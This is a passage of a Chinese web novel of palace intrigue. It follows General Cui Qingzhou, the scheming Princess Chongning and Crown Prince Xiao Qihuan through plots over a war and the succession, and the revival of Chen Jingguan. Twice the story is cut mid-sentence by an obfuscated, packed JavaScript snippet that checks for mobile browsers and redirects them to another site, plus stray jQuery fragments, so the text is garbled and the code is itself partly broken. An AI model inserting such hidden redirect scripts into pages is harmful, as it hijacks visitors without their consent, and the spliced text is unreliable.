“皇上,无论这一仗能不能胜,擎舟和太子都还是南魏人对吗?您不会不要我的,对吗?” 崔擎舟喉咙里满是酸楚的呜咽,他今天一进殿就想到了陈频。 那时候他不过是个二十岁的愣头青,陈频赏识他让他随自己一同进宫,那条路他们走得不快,一路有说有笑,可陈频进了书房不到半个时辰,再出来的时候面如死灰。 崔擎舟没敢多问,就一直跟在陈频身后回了陈府,陈频看到儿子的时候什么也没说,抱着陈景豫像是要将他按进自己的胸膛。 所以早在一开始陈频就什么都知道了,只可惜直到他死,崔擎舟才后知后觉自己作为当事人,也作为观众,看完了整场陈频的自我献祭。 现在的崔擎舟说不上怕,可心里除了怕什么情绪都有。他自知自己比不上陈频,如果陈频用命才换来这样两败俱伤的结果,那他这条命又能换些什么? 说到底崔擎舟还是做不到像陈频那样凛然赴死。 崔擎舟苦笑着抹了一把脸,缓缓站起身朝萧霖鞠了一躬就要往外走。方才他那番话说完其实就足够了,等不等得到那个回答已经不重要了。 “崔将军,”崔擎舟应声止住步子,“只要你认你是南魏人,我南魏永远奉你作崔将军。” 崔擎舟脸上挤出一抹笑,他身后的萧霖说完也没了生气,两个人就这样原地立了片刻,像是彻底明了了彼此的心意,崔擎舟抬步离开了行宫。 …… “崔将军留步。” 意料之中的声音响起,崔擎舟刚走出长街迎面就撞上了崇宁宫里的内侍。他长呼一口气换上勉强的微笑,“孙公公有事?” 眼前的内侍笑着点头,“长公主听闻崔将军今日来了行宫,特邀您去殿里一坐,不知崔将军得不得闲?还是说应了主子的意思,就不认得长公主处怎么走了?” 崔擎舟赔着笑,“孙公公说笑了,还请公公带路,就是不知道此时去长公主处会不会扰了她晚膳。” “殿下等着您呢,她吩咐做了贵公子最喜欢的松仁玉米,让小厨房一直温着,说是您走的时候带上。那松子可是老奴剥了一个早上的,新鲜得很。” “有劳公公。” 崔擎舟微微伏腰作揖,那内侍头也不回地继续走着,“我们也就能做些粗活,还望崔将军得了圣意,不要忘了我们。” 崔擎舟脸上的笑容一滞,他装作没听出内侍言外之意的样子,应道:“公公哪里的话,长公主的滴水之恩,臣当涌泉相报。” 内侍勾起嘴角,他看似不经意地掸了掸手上的拂尘,可崔擎舟知道,他的每一下都扫到了自己身上。 “到了,奴家先扫扫将军身上的晦气。庙里的师父说近些日子殿下和东南角犯冲,凡是从那儿来的都得扫干净再进门。” 东南,崔擎舟方才就是一路沿着东南到了这的。 崔擎舟没说话,配合着将双手举高,索性冬日的衣服厚重,他胸口没有显出虎符的形状,内侍围着他绕了一圈放他进去,自己候在门外。 “臣崔擎舟参见长公主殿下。” 崔擎舟给崇宁行礼,他看到崇宁一个人端着一壶酒依靠在窗边,瞧她脸上的颜色应该是喝了不少,这冬日两朵红晕显得她气色不错。 “起来吧,我都饿了。” 崇宁随手将酒壶递给旁边的宫女,她下去时叫走了屋里侍奉的其他人。 “从萧霖那刚出来?他难为你了?” 崔擎舟摇头,“皇上就是试探了我一番,倒也没说什么要紧话。” “试探?”崇宁用筷子夹了一颗芸豆放到嘴边,“你怎么说的?” “臣只道是一切为了南魏,别无私心。” 崇宁轻笑一声,咬破了芸豆的皮,她盯着豆子,崔擎舟却觉得她的目光散在他身上。 “说得不错,还有呢?” “他……” “枫殿下到!” 门外的内侍一嗓子止住了崔擎舟的话,他放下手里的筷子迎在门边,“臣崔擎舟给枫殿下行礼。” 萧祺枫一脸无所谓地摆手,“你也在啊,那一起吃吧。” 崔擎舟小声说了一句“谢殿下”,他瞧见崇宁看着外面内侍的眼神不太高兴,想必萧祺枫的到来她也没想到。 “姑姑,父亲不会真的要把您弄来的兵给大哥吧,您当真允了?” 萧祺枫贴着崇宁的座位坐下,环视一周后拿来了崔擎舟还没来得及动的碗筷,自顾自地夹了一块肉大快朵颐起来。 “你不在你母亲那吃,怎么想到跑到我这儿了?” 崇宁的语气不算好,可萧祺枫充耳不闻,他舔着脸笑道:“您这的饭比母亲殿里做得好,她走的急没带厨子,父亲指给她的那几个做饭都太清淡,一点都不好吃。” “她身子不好,吃清淡点也对,可你要来怎么不打声招呼?” 萧祺枫慢慢反应过来,他朝外面喊了一声让宫女又送进来一副碗筷,崔擎舟默默躬腰道谢,一声不啃地扒着碗里的饭。 “我想着姑姑最疼我,从前我在母亲那吃的不开心都是来找您的。怎么,枫儿大了您就不和我亲近了?” 萧祺枫努了努嘴,作出一副可怜巴巴的样子。 萧祺枫从小是被宠大的,从他出生起崇宁就把所有野心浇灌到了他身上,给他的甜像怎么也吃不完的蜜糖,再加上母亲贵为皇后,还有个显赫的外祖家,估计他这辈子最苦的就是六岁那年喝下去的那碗药汤。 “吃吧,我要与崔将军谈事,你要聪明些。” 崇宁用眼神警醒着萧祺枫,眼前的人做了一个封口的动作,继续头也不抬地吃着那盘快见底的排骨。 “方才崔将军没说完的话,继续说。” 崔擎舟点了点头,可开口时还是看一眼萧祺枫,他斟酌了一下重新编排了一遍脑海里的话。 “太子殿下要领兵出征,皇上封了我做啸龙营的统领,给了我虎符,估摸着明日我就要动身去平州和太子汇合。” 萧祺枫吃饭的动作停下了,可很快他又像什么也没听到一般继续吃。 崇宁瞥了他一眼,对着崔擎舟说:“他这么放心把兵交给你,看来崔将军方才费了不少口舌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255940|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该远不止你给我说的。” 崔擎舟抿了抿嘴,“臣在书房里待了一个时辰,皇上步步紧逼,臣一再退让,到最后我们谁也没有问出来自己想知道的,但是也对彼此的心意心照不宣。” 崔擎舟没有对崇宁说谎,当然也没有对萧霖说谎,他从来没有对任何人表明过自己的立场,他心里只有南魏。 崇宁微微抬眸看着他,眼波流转着崔擎舟看不懂的情绪,半晌,她继续道:“不过看来崔将军算是得了皇上的信任,他把那虎符看得紧,不会轻易给别人。既然他下了命令,那你就去吧。” 崇宁云淡风轻的话里崔擎舟品到了一丝异味,这简简单单的“那你就去吧”,崇宁是打算让崔擎舟在战场上“除掉”萧祺桓的。 “臣领了死命,不收复失地不会再回南魏。” 闻言,崇宁夹着的青菜一不小心掉到了桌上,她饶有兴趣地看着崔擎舟,“怎么,崔将军这么有信心?是萧霖许了你什么,还是别人许了你什么?” 崔擎舟将筷子放下,起身跪倒在崇宁面前。 “臣是武将,忠心报国难道不应该?既然皇上和长公主都如此信任我,那我定不能辜负了这份厚重的信任。” 崇宁嘴角不禁抽搐,却也一句话都说不出了。 崇宁的心思路人皆知,可她还没有蠢到大肆宣扬自己的野心,更何况她作为南魏的长公主又怎么会不希望南魏能重回兴盛。崔擎舟这些话说得让人挑不出错,她没有理由在一个将军上战场前怀疑他的忠心。 可萧祺桓必须死,他不能活着回来。 崔擎舟见崇宁不再说话,又看了眼旁边沉默不语的萧祺枫,他朝着面前的二人各磕了一个头,道了一句“珍重”后离开了崇宁的宫殿。 “吃好了?” 崔擎舟一走,萧祺枫像是换了个人,他眼神冷了下来,将手里的筷子支在碗边,崇宁递给他一块帕子,他点头道谢。 “好了,什么都好了。” 崇宁轻笑一声,“怎么,觉得萧祺桓打了这场仗回来,你就赢不了他了?” 萧祺枫摇头道:“不可能,且不说东亭军有多穷凶极恶,只说他赢下这场仗后又能改变什么?南魏不是北梁,我们从来不靠人头说话。” 崇宁笑而不语,萧祺枫端起桌上的酒杯一饮而尽,崇宁今日的酒度数很高,他硬忍着没有表现出喉咙里的灼烧感。 “再说了,姑姑您当真就这么算了?你组建的军队,你扶上去的皇帝,你撑起来的南魏,就这么送给萧祺桓了?” 崇宁微微勾起嘴角,她用眼睛睨着萧祺枫,萧祺枫却难得一见严肃起来。 “姑姑做事从来行一步看三步,我想您一定是有了主意才放了崔擎舟去平州。你若是不想告诉我,那我也不问,只是我想着对于萧祺桓必须死这件事,我们该没有什么分歧吧。” 萧祺枫又换上了一张人畜无害的笑脸,崇宁却觉得他今日有些不同寻常,她说不上萧祺枫哪里有问题,可她总觉得眼前的人不像是前些日那个黏着自己的小孩了。 或许是许久不见他长大了,崇宁长叹一口气自我安慰道,但是萧祺枫的变化她不能不放在心上。 是她把萧祺枫这块顽石剖成了金镶玉,她断然不能让他在亮相前碎掉。 “这些日子没事做就多去你父亲面前晃悠晃悠,嘴甜些,让他考你些功课,让他想起来还有你这么一个儿子。你别忘了,他还有个老十,他可不止你这个儿子。” 老十萧祺桁,从小被萧霖丢在崇州养着,这世上没几个人见过他,甚至连崇宁都拿不定主意他是不是还活着。 他是一颗隐雷,也是崇宁这么多年唯一存在于计划外的风险。 “老十,”萧祺枫漫不经心地笑着,“存不存在都一定呢。” 崇宁没反应过来他这句话的意思,只听他行礼道:“姑姑的嘱咐枫儿记住了,只是自己的命要放在自己手里,这是姑姑教我的,我也记住了。” 说罢萧祺枫微微一笑朝崇宁叩首,再起身时他没有看崇宁,崇宁却将他若有所思的情态一览无余。 130.合纵连横(五) 从行宫离开后,崔擎舟遣了侍卫去家里通报一声,让夫人给自己置办些东西,自己则跑到啸龙营去清点人数。 最开始啸龙营的人对崔擎舟称不上信服,他们觉得在朝堂上待了快二十年的人哪里还能提得动刀,可崔擎舟犹如武选那日一般,百步之内单挑三人,次次直击命门。 让习武之人心服口服的只有比他们更狠,更不要命的人,崔擎舟是跟着陈频死过一次的,他早就经历过濒死时的窒息了,能活着让空气再进入自己的肺里,他很知足了。 “崔将军。” 等在军营外的副将朝崔擎舟行礼,崔擎舟让他直接带自己去营部。 “出征计划定了?是和昌安营一起吗?咱们先打哪儿?” 副将在一旁问题连连,崔擎舟抬手挡在他在面前。 “什么也别问,什么都不知道的人才能在战场上活下来。” 副将一瞬噤声,月光的映照下崔擎舟脸上惨白一片。许是感受到了副将的目光,崔擎舟扭过头看他,“集结兵马,明日一早我们穿过广梁平原出发去长城,太子在平州等着我们。” “太子?”副将眉头一皱,“他刚坐上这位子,就要亲自领兵?” 崔擎舟应道:“他这位子得来的不容易,要想坐稳更难,我们又何尝不是一样?南魏不能再输了,我给皇上立了军令状的,我们要保下太子,收复失地。” …… 十五日后,崔擎舟的人马浩浩汤汤跨过广梁平原,刚开始还有些百姓将他们认成平远军,喜笑颜开地去给他们送东西,可一听说是南魏啸龙营,所有人就都冷了脸,头也不回地离开了军营。 当初陈京观朔州一战惨死的消息刚传到阙州,关策就让所有人都闭了嘴,等消息递进宫里的时候,萧霖的反应更让关策知道他猜对了。 陈京观早就不是从雍州闯出来的泥腿子了,在这世家割据的南魏,他像是随风而起的野草,没有人知道他从哪里来,可他的血肉养活了半个南魏。 所以陈京观已死的消息不能外泄,这是崇明殿里所有人的共识。 萧霖当然不觉得只凭那些信奉陈京观是活菩萨的百姓能撼动他的王朝,可他不想接下来十年,陈频的名字换成陈京观,所有人提到陈京观的时候都唏嘘不已,然后痛骂自己一句昏君。 萧霖能接受世人的嘲讽奚落,但是他不接受陈京观的死和自己有关系。他知道这是在逃避,可他逃了半辈子,只有这一次他头也不回,心甘情愿把自己溺死在了自欺欺人里。 “崔将军,来问陈京观的人越来越多了,你给个理由我好支走他们。” 副将心虚地跟在崔擎舟身后,崔擎舟的步子停了下来,他看着不远处的敬安山,以及那隐隐约约的东亭军旗。 “我能给你什么理由?反正你不能告诉他们人已经死了,不然你休想从他的广梁经过。我可不想先打一场内战。” 崔擎舟不耐烦地应道,说罢又觉得不妥当,转身拉住要走的副将。 “告诉他们少将军朔州一战受了伤,皇上给他封了僻静院子养伤。” 副将欲言又止地望着崔擎舟,崔擎舟无语地挠了挠头,“那你说,我总不能给他们变出来一个陈京观吧。” 副将只好撇了撇嘴应下了,崔擎舟望着副将渐行渐远的背影,转身朝另一个方向走去。 “管参军,今日的事情你也要如实上报给殿下吗?” 崔擎舟眼前的管墨是崇宁派来的参军,名为参军,实际上是崇宁的眼线,只负责将崔擎舟的一举一动记下来送回盛州。 崔擎舟身正不怕影子斜,自然不怕管墨记些什么,可他不想节外生枝,陈京观生前生后都是崇宁的一块心病。 “这些就不记了,崔将军大可放心,”管墨眉眼弯弯道,“不过我有一句话不知当讲不当讲。” “您请。” 管墨打量了一圈周围的环境,确定没有人在看着他们,“内战,是不可避免的,崔将军应该比我明白。您方才说您不想打内仗,那可是想好了要怎么站队?” 管墨的眼睛说话时滴溜地转着,他矮小的身材被原本高大又穿着铠甲的崔擎舟罩住,可崔擎舟却像是他躺在地上的影子,只剩了一副皮囊。 “崔将军若是现在答不上来也无所谓,臣不过随口一说,您且去休息吧,”管墨躬腰笑着道,“算日子明日就能到平州,我看太子殿下的信上说等您到了就起兵,那您今日可要好好睡一觉,恐怕接下来十天半个月都没有安生日子了。” 说完管墨朝崔擎舟行礼告退,崔擎舟在原地愣了片刻,伸手搓了搓自己的脸。 都说不当家不知道柴米贵,他觉得这不当官也不知道打仗竟能有这么多事情,他原以为做了武将只管上阵杀敌就好,如今却发现只要在这官场上,哪里有一块安生地方。 只要有人的地方,那就是看不见硝烟的战场。 “崔将军您在这呢,让我好找。” 崔擎舟应声向后转,眼前突然出现的萧祺桓让他忙不迭行了个军礼,“太子殿下。” 萧祺桓走过来拍了拍崔擎舟的肩膀,“走吧,去营部说话。” 崔擎舟侧过身看了萧祺桓一眼,按照自己的安排,他此刻应该在昌安营等着自己,他这样突然变了计划,崔擎舟很难不想到是北梁出了问题。 “您……” 萧祺桓搭在崔擎舟肩上的手若有似无地握了握他的胳膊,只听他小声道:“等等再说。” 崔擎舟硬生生将嘴边的话压了下去,他木木地点头,领着萧祺桓一路到了指挥营。他替萧祺桓掀开帘子,又转身对守在门口的侍卫嘱咐了两句。 “是北梁出事了吗?” 崔擎舟塞好背后的门帘,萧祺桓摇头道:“昌安营的兵就在敬安山后,明日我们打起来他们就从高地下来。” 崔擎舟点了点头,可很快又问道:“明日?我们计划应该是三日后进攻,您是听到什么了吗?” 萧祺桓脸上的表情沉了沉,他拉开旁边的椅子坐下道:“有件事,我觉得应该同您先知会一声。” 知会,崔擎舟听出了这其中的意思,萧祺桓接下来要说的只是通知他,并没有要征询他的意见。 崔擎舟心底发笑,他想到萧霖信誓旦旦说萧祺桓一定不会成自己的阻碍,看来萧霖也没有看清自己这个藏巧于拙的儿子。 萧祺桓是像他母亲一样谨慎,可他更随了薛雯昭的聪明。 见崔擎舟不说话,萧祺桓神色和缓了些道:“崔将军也不必太紧张,廊州我肯定是要夺回来的,可在这之前我想先替父亲清理门户。” 崔擎舟抬眸望着萧祺桓,眼前的人嘴角沁出一抹笑,可眼睛里却淬出三分毒,“我有萧祺枫投敌叛国的罪证,但只凭书信来往定不死他,我想明日请崔将军陪我演一出戏。” 崔擎舟不动声色地走到萧祺桓身边,坐在他面前。 “明日的仗我们一定会输,我们要做的是尽量输得惨却又不要死那么多人。事后你将一切罪责推到我身上,说我带兵不利,让父亲治我的罪,最好削了我的太子之位。” 崔擎舟脸上的表情随着萧祺桓的话慢慢变得难以置信,等萧祺桓说完后他依旧没有缓过神,他不理解既然知道了萧祺枫泄露军机,难道不该反将一军彻底拿下廊州,萧祺桓这是在做什么?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263535|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可碍于萧祺桓的太子身份,崔擎舟咽了咽口水点头应道:“一切听您吩咐。” 崔擎舟的反应在萧祺桓的意料之外,他不禁眉眼上挑反问道:“崔将军不问问具体细节,也不问问我这么做的缘由?” 崔擎舟摇头道:“只有我什么都不知道,届时皇上问起来我才能照着殿下的意思说。我崔擎舟自认没有说谎的天分,所以我宁愿被蒙在鼓里。” 萧祺桓不怒反笑,他脸上的笑容被难以掩饰的兴趣盖住,崔擎舟望了他一眼,萧祺桓的目光刚好对上了他的眼睛。 “崔大人不必如此,我能将这些告诉您,是认定了您不是姑姑的人。我今日同您说的一切,您知道与否都不妨碍您将自己摘出去,您真的不想听听?” 萧祺桓的话像是一条爬在崔擎舟心上的毛虫,他觉得别扭,甚至觉得恶心,可有不自觉想去碰,即使是为了把它扔掉,他也得去碰。 看崔擎舟的态度似乎松了些,萧祺桓换了个姿势开口道:“七日前我正在平州的军营等着您,一个面生的马夫闯进了我的帐子,我惊讶于外面没有一个人拦他,后来得知他是随陈京观离开又加入平远军的老兵,是平远军为数不多被陆栖野带回北梁的人。” 崔擎舟心头一紧,可依旧面色如常地听着。 “他见到我道了声‘太子’,然后从袖口里拿出一个封好的信筒,我问他你是谁派来的,他什么也没说转身就走了。我没有让人去追他,因为我打开信的时候就知道了一切。” 萧祺桓像是陷入回忆般眼神恍惚起来,“那信不长,却详细记述了萧祺枫在东亭进攻阙州一战的功绩,那一战东亭只派了两万人,可按理说要攻下南魏都城两万人远远不够,但是汪恕的一切行动都毫不犹豫,仿佛他拿定了阙州已经是一座空城。那信上说,在父亲离开阙州的那个晚上,一封信从萧祺枫的宫殿直送到未央宫。” 崔擎舟猛地抬头,萧祺桓用目光回应着他的诧异,“只凭这样一封来历不明的信我当然不会随便改变您的计划,可您出发前给我来了信您还记得吗?您说您要在路上耽搁两日,而您临时改变的行程只有我们知道。可昨晚那个人又出现了,同样的一封信,上面是萧祺枫将您的行踪悉数报告给了江阮。那不是萧祺枫的笔迹,可言语间都是他那恼人的性子。” “有人一直在监控萧祺枫。” 崔擎舟说道,萧祺桓点了点头,却又止住动作,“也在监视我们。” “而且不是江阮。” 萧祺桓脸上的笑意渐浓,“那我所说的一切您信吗?那个送信的人,您信吗?” 崔擎舟没有说话,萧祺桓长叹一口气继续道:“所以我说只凭这两封信我们定不了萧祺枫的罪,甚至明日战败我们也治不了他的罪。” “您是说……” 萧祺桓赞许着崔擎舟心里的想法,可他的眼神中闪过一丝狠戾,“要想打掉棋盘上的棋子,我们只能用执棋人的手。只要姑姑还在一天,她不会让我们轻易除掉萧祺枫的。但是如果有一日这棋子影响了执棋人的计划,她必定会断尾逃生。” “那您也不用以太子之位相搏,您怎知这不是他们的圈套?若您失了太子的位子,这今后的日子只会更难过。” 萧祺桓没有想到崔擎舟第一个想到的是他后半生的水深火热,他愣了愣笑道:“崔将军认我这个太子?” 崔擎舟抿了抿嘴,“原先不认,可您肯在这个时候用自己换北梁的盟约,我觉得您就是南魏的太子。” 闻言,萧祺桓的笑里多了些苦涩,他好几次微微张嘴却不知道说什么,不知道过了多久,他望着崔擎舟道:“可有人比我更合适。” 131.合纵连横(六) 崔擎舟一时没有反应过来这句话,萧祺桓顿了顿继续道,“生在皇家的,谁能没有这个心思。可人贵在自知,我萧祺桓没有这个能力,也没有这个命,若能守着母亲安稳过一辈子已经很好了。” 崔擎舟不明白是什么让萧祺桓突然转了性子,那日萧祺桓给他的信上慷慨陈述了自己的壮志凌云,说他要为南魏重塑根基,要让南魏重回中兴之治。 短短几日萧祺桓却像变了个人,他坦然地说出“我没有这个命”,崔擎舟试图从他的脸上找到一丝被迫做出选择的情态,他找不到。 萧祺桓那日所说的是真的,今日亦然。 萧祺桓像是被赶上架的鸭子,苍茫地高歌后看到了真正的天鹅,于是他黯然离场,却也长松一口气,卸下了肩上的担子。 薛雯昭一辈子不争不抢,她生的儿子也是如此,他们散发着中庸的气息,却也是这世间难得的聪明人。 崔擎舟没有再追问萧祺桓如此为的理由,他话锋一转,问道:“我还有一惑,您为什么肯定这一切是萧祺枫自己的主意?为什么不是崇宁对他的授意?我营中的管墨是崇宁的人。” 萧祺桓像是猜到了崔擎舟会这么问,他将方才提到的两封信摊开放在崔擎舟面前,崔擎舟随意拿起一封看了看,依旧没有明白萧祺桓的意思。 “可能是您还不太了解姑姑,”萧祺桓解释道,“若是她直接找江阮,她会先谈好条件,她只做双赢的买卖,是她的话我应该已经死了。” 萧祺桓苦笑了一声继续道:“可萧祺枫不一样,他离开姑姑就失去了所有依仗,他只能先向江阮示好。所以在写第一封信的时候他收敛了很多,言辞中满是小心翼翼,而第二封信就不一样了,那时候江阮应该已经许了他某些承诺,他觉得此时是江阮在求着自己。” 萧祺桓说到这不禁失笑,“倒也不怪他,他一辈子就没自己拿过主意,周皇后是姑姑扶上去,周原任也是,萧祺枫这辈子都活在姑姑的阴影下,他是个完美的傀儡。” 崔擎舟想到了那天看到的萧祺枫,说来萧祺枫和陈京观差不多大,但是崔擎舟在两个人身上看出了两代人的感觉。 即使那日萧祺枫故作深沉,在他面前摆谱,可这一切在崔擎舟眼里不过是更加印证了他的想法。 萧祺枫就是个长大的孩子,而且永远长不大了。 “不过让我坚信萧祺枫在有意瞒着姑姑,确实是因为管墨。” 崔擎舟扭过头看了一眼萧祺桓,只听他继续说:“能对你的行踪一清二楚,只有你身边的人。而啸龙营不干净我是知道的,但是有谁能直接把消息递到萧祺枫手里,那一定是姑姑信任的人,因为只有送到她那儿的消息从来不会延误。” “管墨是她钦点的参军,不可能随便把消息给任何人。而长公主对枫殿下说不上完全信赖,在她眼里枫殿下就是个精致的木偶娃娃,她不会把重要的消息告诉枫殿下,如此一来,只有一种可能。” 萧祺桓点头应道,“管墨也在给萧祺枫做事。” 所以方才管墨嘴里的“站队”,问的其实是崔擎舟到底支持萧祺枫还是崇宁。 崔擎舟愕然,许是他这二十年在兵部尚书的位置上过得太安逸了,一朝领兵,他竟发觉过去的人生就像是白活了一般。 “可您也清楚,您就是用太子之位也换不了萧祺枫这条命,您是有什么更长远的打算吗?我们不能拿您的未来赌一个不确定的转机。” 萧祺桓顿了顿,崔擎舟看到他脸上浮起不明所以的微笑,他抬头盯着崔擎舟,缓缓开口道:“你觉得江阮为什么要找萧祺枫?比起他,江阮直接找姑姑会更有效。即使不能坐下来握手言和,对江阮来说姑姑也是更容易满足他的人。” 崔擎舟沉默不语,萧祺桓轻笑一声,“就像我刚才说的,和这些人斗萧祺枫还是太嫩了。他自始至终就是江阮制衡姑姑的棋子。” 江阮是这世界上对萧祺枫所作所为最清楚的人,他为的不是萧祺枫给他送来的那几封情报。只要江阮想要,他的谍子没有得不到的消息。 江阮能找上萧祺枫,是因为他是崇宁唯一的软肋。 南魏的皇帝不需要成为什么明君,他们从登基那一刻起就只需要做朝堂上的天平,平衡世家之间的利益。 为了让萧霖看起来清白,崇宁把一切脏事都揽到了自己身上,这才保证了萧霖能在皇位上长久的做个哑巴。可萧祺枫性子太急,当他所做的这一切公之于众时,他将被因他的冒失而利益受损的人生吞活剥。 崇宁当然可以在江阮用萧祺枫做筹码的时候和他谈条件,可那时江阮要的就太多了。 崇宁不是个孤注一掷之人,可在这件事上她从来没有预想过如果没了萧祺枫,她要从哪里再找一个人安在皇位上,她觉得有了萧霖这个前车之鉴,在萧祺枫身上她不会失手。 可崇宁这辈子选了三个人,三个人都背叛了她。 男人,骨子里就是自私自大的。 “等来日一切如了姑姑的愿,萧祺枫的死期也就到了。姑姑的梦,也就碎了。” 那将是崇宁离美梦成真最近的一步,那时江阮将会在崇宁眼中看到比恐惧死亡更深的绝望。 崔擎舟发怔似的看着萧祺桓,他从来没想到眼前的人有如此城府。 从小到大萧祺桓的学业在几个皇子中都不算上乘,薛雯昭对他并无苛求,所有人都以为他平庸至极。 可萧祺桓在短短几日内看清了所有的一切,并且做出了最后的决定。他的智谋和果断,完全堪称明君之相。 “太子殿下,你方才说有人比您更适合这个位子,您是说谁?” 崔擎舟后知后觉明晰了萧祺桓不经意提到的那句话,萧祺桓这几天见过其他人。 “萧祺栩,他还活着。” …… 在崔擎舟到达广梁的前一天,午夜月光的映照下,昌安营的后门被打开一条缝。陆栖野支走了守在门口的侍卫,带着一个身披斗笠的年轻人蹑手蹑脚地进来。 他们的步子丝毫没有停留,行至军帐中央时陆栖野指了指西南方向的帐子,只看那灰黑色的斗笠上下晃动着,紧接着二人分道,穿着斗笠的人快步走到军帐前,毫不犹豫地掀开帘子进去。 “谁!” 萧祺桓望着眼前的不速之客面色难免紧张,可他拽住了为数不多的理智,握紧腰侧的匕首。正当他想大叫支援时,眼前的人笑着褪去了一身夜行衣。 “太子殿下安。” 陈京观说完抬起胳膊在原地转了一圈,以示自己身上没有带任何武器,可萧祺桓此时在意的不是他的安危,而是眼前的人是如何死而复生的。 “我知道您有很多问题要问,可今日事态紧急,您且等我将一切要紧事说罢,若还有时间您大可以随便问,我绝不隐瞒。” 陈京观像是看透了萧祺桓的心思,他随手将斗帽挂在椅背上,低头时看到桌上放着自己托人送进来的两封信,哑然失笑。 “殿下被这两封没头没尾的信困住了?信是我写的,照着原信抄的,此时这两封信应该同时躺在江阮的书桌上。” 陈京观丝毫没有掩饰的意思,他开门见山道,“信上所说属实,可萧祺枫通敌的罪我们坐不实,至于其中缘由殿下是聪明人,应该不用我多说。” 萧祺桓被陈京观突如其来的坦诚怔在原地,陈京观没有在意他还略带怀疑和审视的目光,一口气将事情的起承转合全都说给了他。 “以上,殿下听明白了吗?” 陈京观的语气从进屋起就没有变过,萧祺桓缓缓点头,“懂了。” 陈京观笑着没说话,起身掀开帘子的一角,此时的月光还占上风,丝毫没有晨光展露的势头。 “还有些时间,殿下想问什么尽管问。” “你是怎么活下来的?” 萧祺桓的问题几乎不假思索,陈京观料想到他应该最好奇这个,不过他既然冒险现身,也不在乎将这一切告诉萧祺桓。 陈京观想了想,开始从他给萧霖写的第一封信说起,他将朔州一战用简单的“全军覆没”代替,在故事里隐去了穆家三兄弟,他把所有功劳给了席英和苏清晓,有意无意地拉开了自己和西芥的关系。 陈京观说着,突然想笑。他这辈子讲过太多真假掺半的故事,也听了太多以假乱真的故事,以往他还会有些愧疚,可这一次他的故事几乎一气呵成。 萧祺桓听完后没有再问陈京观任何有关他的问题,可陈京观不觉得他接受了自己这番说辞,萧祺桓只是默许了陈 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萧祺桓的脸色瞬间变得煞白,果然快到清明了,他今晚听到了一个又一个鬼故事。先是陈京观死而复生,后又来一个萧祺栩意外生还,萧祺桓木讷地站在原地眼角不禁抽动。 “你要辅佐萧祺栩我能理解,可我凭什么让位给他?再说了你所说的都不过是一面之词,你现在甚至不敢出现在众人面前,你的话当真可信吗?” 萧祺桓做了几个深呼吸,慢慢将意识拉回自己的躯壳。 “给我一个让我拒绝不了的理由,否则横竖都是带兵不力的罪,横竖都是死,我受着就是了。” 萧祺桓突然冷静下来的样子让陈京观愣了一瞬,那一刻他觉得若是他没有选择帮助萧霖,而是在一开始就选择萧祺桓,说不定这一切都不会发生。 只可惜陈京观最初被陈频的意志困住了。 “其实我今日大费周章来找您,是为了保全您,您可以认为是我同薛大人的情谊让我这么做的。今日您同意与否,只影响三日后您会不会死,不影响萧祺枫定罪,也不影响萧祺栩即位。” 陈京观没有被萧祺桓的话吓住,他如今有的是时间,他所做的一切都经过了他和苏清晓的千百次演算,不会再出错了,也不会再受制于人了。 陈京观见萧祺栩脸色一冷,他赔着笑道:“不过您这条命还有大用处,我自然是不会轻易让您死。您如今是在用自己换北梁盟约对吗?我可以为您和北梁牵线搭桥,让您功过相抵留一条命。三日后战场上您只用以小博大,保住您自己的性命,然后装作无能的样子灰溜溜回京,您演了这么多年,该是很熟练了。” 萧祺桓没有立刻回应,陈京观也料到他会是如此反应,便继续说:“我还可以保证萧祺栩即位后不会找您的麻烦,您可以一辈子做个安乐的王爷。” 陈京观所说的他能做到,毕竟在这昌安营若没有人带路,他不可能如此轻而易举地找到萧祺桓。萧祺桓抿了抿嘴,微微后仰靠在了书桌上。 “您还有什么顾虑?” 萧祺桓神色一滞,陈京观听见他苦笑道:“我明日就要放弃眼前的皇位了,还不能让我为自己叹惋一下?少将军还真是置之死地而后生,变得冷血无情起来了。” 萧祺桓谁也怪不了,他没有依仗,而这条路本就艰难。他当初的雄心壮志是被突如其来的太子之位点燃的,可他只能通过焚烧自己来维持着孱弱的火苗。他即使此时不放弃,崇宁也会想办法让他放弃的,到时候多半还要连累薛雯昭和薛磐。 “好,一切都应你的,”萧祺桓长叹一口气,“不过我很好奇你要怎样才能让萧祺栩以皇子的身份回来,又怎样才能把他扶到那个位置上?” 陈京观轻笑一声,“您这两个问题应该反过来问,当我把他扶上那个位子的时候,他是谁,还重要吗?” 那一刻,帐外的巡逻兵开始换班,晨光熹微沿着门边洒进来,萧祺桓怔怔发笑,而陈京观重新穿戴整齐,当他放下挡纱的时候萧祺桓听到:“殿下,今日您没见过我,对吗?” 不等萧祺桓回答,陈京观转身离开了军帐,沿着陆栖野为他预设好的路线离开了平州。 132.合纵连横(七) “萧祺栩奄奄一息被丢到了大漠,索性路过的猎户捡到了他,如今也十四了。” 萧祺桓回过神,瞧见眼前的崔擎舟面色凝重,像是被这突如其来的消息震得说不出话。 萧祺桓信守了他对陈京观的承诺,一晚上只字未提自己与陈京观见过面的事情。 “今日我要说的都说完了,我待崔将军是自己人,所以掏心掏肺知无不言。届时我若是被废,我定当在父亲面前为将军挣一份功劳,保住您的位子。” 萧祺桓起身微微躬身行礼,崔擎舟忙上来扶住他,“殿下哪儿里的话,我在皇上那儿立了军令状的,只要我没死,我就会战到最后一刻。殿下保全自己要紧。” 